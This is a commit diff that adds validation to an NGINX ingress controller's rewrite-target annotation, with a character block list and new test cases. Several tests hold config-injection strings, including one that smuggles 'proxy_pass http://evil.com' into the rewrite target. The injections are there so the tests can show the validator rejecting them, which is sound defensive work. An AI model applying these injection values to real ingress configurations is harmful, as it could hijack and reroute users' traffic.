Skip to content

Commit 616c4ce

Browse files
authored
add more validation on rewrite-target (#8740)
1 parent e0dd341 commit 616c4ce

File tree

2 files changed

+68
-0
lines changed

2 files changed

+68
-0
lines changed

internal/k8s/validation.go

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -809,6 +809,18 @@ func validateRewriteTargetAnnotation(context *annotationValidationContext) field
809809
return field.ErrorList{field.Invalid(context.fieldPath, target, "rewrite target must start with /")}
810810
}
811811

812+
// Prevent NGINX configuration injection characters
813+
if strings.ContainsAny(target, ";{}[]|<>,^`~") {
814+
return field.ErrorList{field.Invalid(context.fieldPath, target, "NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target")}
815+
}
816+
817+
// Prevent control characters and line breaks that could break NGINX config
818+
for _, char := range target {
819+
if char <= 32 || char == 127 { // ASCII control characters; 127 is DEL, 32 is space
820+
return field.ErrorList{field.Invalid(context.fieldPath, target, "control characters not allowed in rewrite target")}
821+
}
822+
}
823+
812824
return nil
813825
}
814826

internal/k8s/validation_test.go

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3395,6 +3395,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
33953395
},
33963396
msg: "invalid nginx.org/rewrite-target annotation, path traversal with ..\\ (Windows style)",
33973397
},
3398+
{
3399+
annotations: map[string]string{
3400+
"nginx.org/rewrite-target": "/foo/$1; } path / { my/location/test/ }",
3401+
},
3402+
specServices: map[string]bool{},
3403+
isPlus: false,
3404+
appProtectEnabled: false,
3405+
appProtectDosEnabled: false,
3406+
internalRoutesEnabled: false,
3407+
expectedErrors: []string{
3408+
`annotations.nginx.org/rewrite-target: Invalid value: "/foo/$1; } path / { my/location/test/ }": NGINX configuration syntax characters (;{}) and []|<>,^` + "`" + `~ not allowed in rewrite target`,
3409+
},
3410+
msg: "invalid nginx.org/rewrite-target annotation, NGINX configuration syntax characters (;{}) not allowed in rewrite target",
3411+
},
3412+
{
3413+
annotations: map[string]string{
3414+
"nginx.org/rewrite-target": "/api\npath",
3415+
},
3416+
specServices: map[string]bool{},
3417+
isPlus: false,
3418+
appProtectEnabled: false,
3419+
appProtectDosEnabled: false,
3420+
internalRoutesEnabled: false,
3421+
expectedErrors: []string{
3422+
`annotations.nginx.org/rewrite-target: Invalid value: "/api\npath": control characters not allowed in rewrite target`,
3423+
},
3424+
msg: "invalid nginx.org/rewrite-target annotation, control characters not allowed in rewrite target",
3425+
},
33983426
{
33993427
annotations: map[string]string{
34003428
"nginx.org/rewrite-target": "api/users",
@@ -3409,6 +3437,34 @@ func TestValidateNginxIngressAnnotations(t *testing.T) {
34093437
},
34103438
msg: "invalid nginx.org/rewrite-target annotation, does not start with slash",
34113439
},
3440+
{
3441+
annotations: map[string]string{
3442+
"nginx.org/rewrite-target": "/api/v1`; proxy_pass http://evil.com; #",
3443+
},
3444+
specServices: map[string]bool{},
3445+
isPlus: false,
3446+
appProtectEnabled: false,
3447+
appProtectDosEnabled: false,
3448+
internalRoutesEnabled: false,
3449+
expectedErrors: []string{
3450+
"annotations.nginx.org/rewrite-target: Invalid value: \"/api/v1`; proxy_pass http://evil.com; #\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target",
3451+
},
3452+
msg: "invalid nginx.org/rewrite-target annotation, backtick and semicolon injection",
3453+
},
3454+
{
3455+
annotations: map[string]string{
3456+
"nginx.org/rewrite-target": "/path/$1|/backup/$1",
3457+
},
3458+
specServices: map[string]bool{},
3459+
isPlus: false,
3460+
appProtectEnabled: false,
3461+
appProtectDosEnabled: false,
3462+
internalRoutesEnabled: false,
3463+
expectedErrors: []string{
3464+
"annotations.nginx.org/rewrite-target: Invalid value: \"/path/$1|/backup/$1\": NGINX configuration syntax characters (;{}) and []|<>,^`~ not allowed in rewrite target",
3465+
},
3466+
msg: "invalid nginx.org/rewrite-target annotation, pipe character for alternatives",
3467+
},
34123468
}
34133469

34143470
for _, test := range tests {

0 commit comments

Comments
 (0)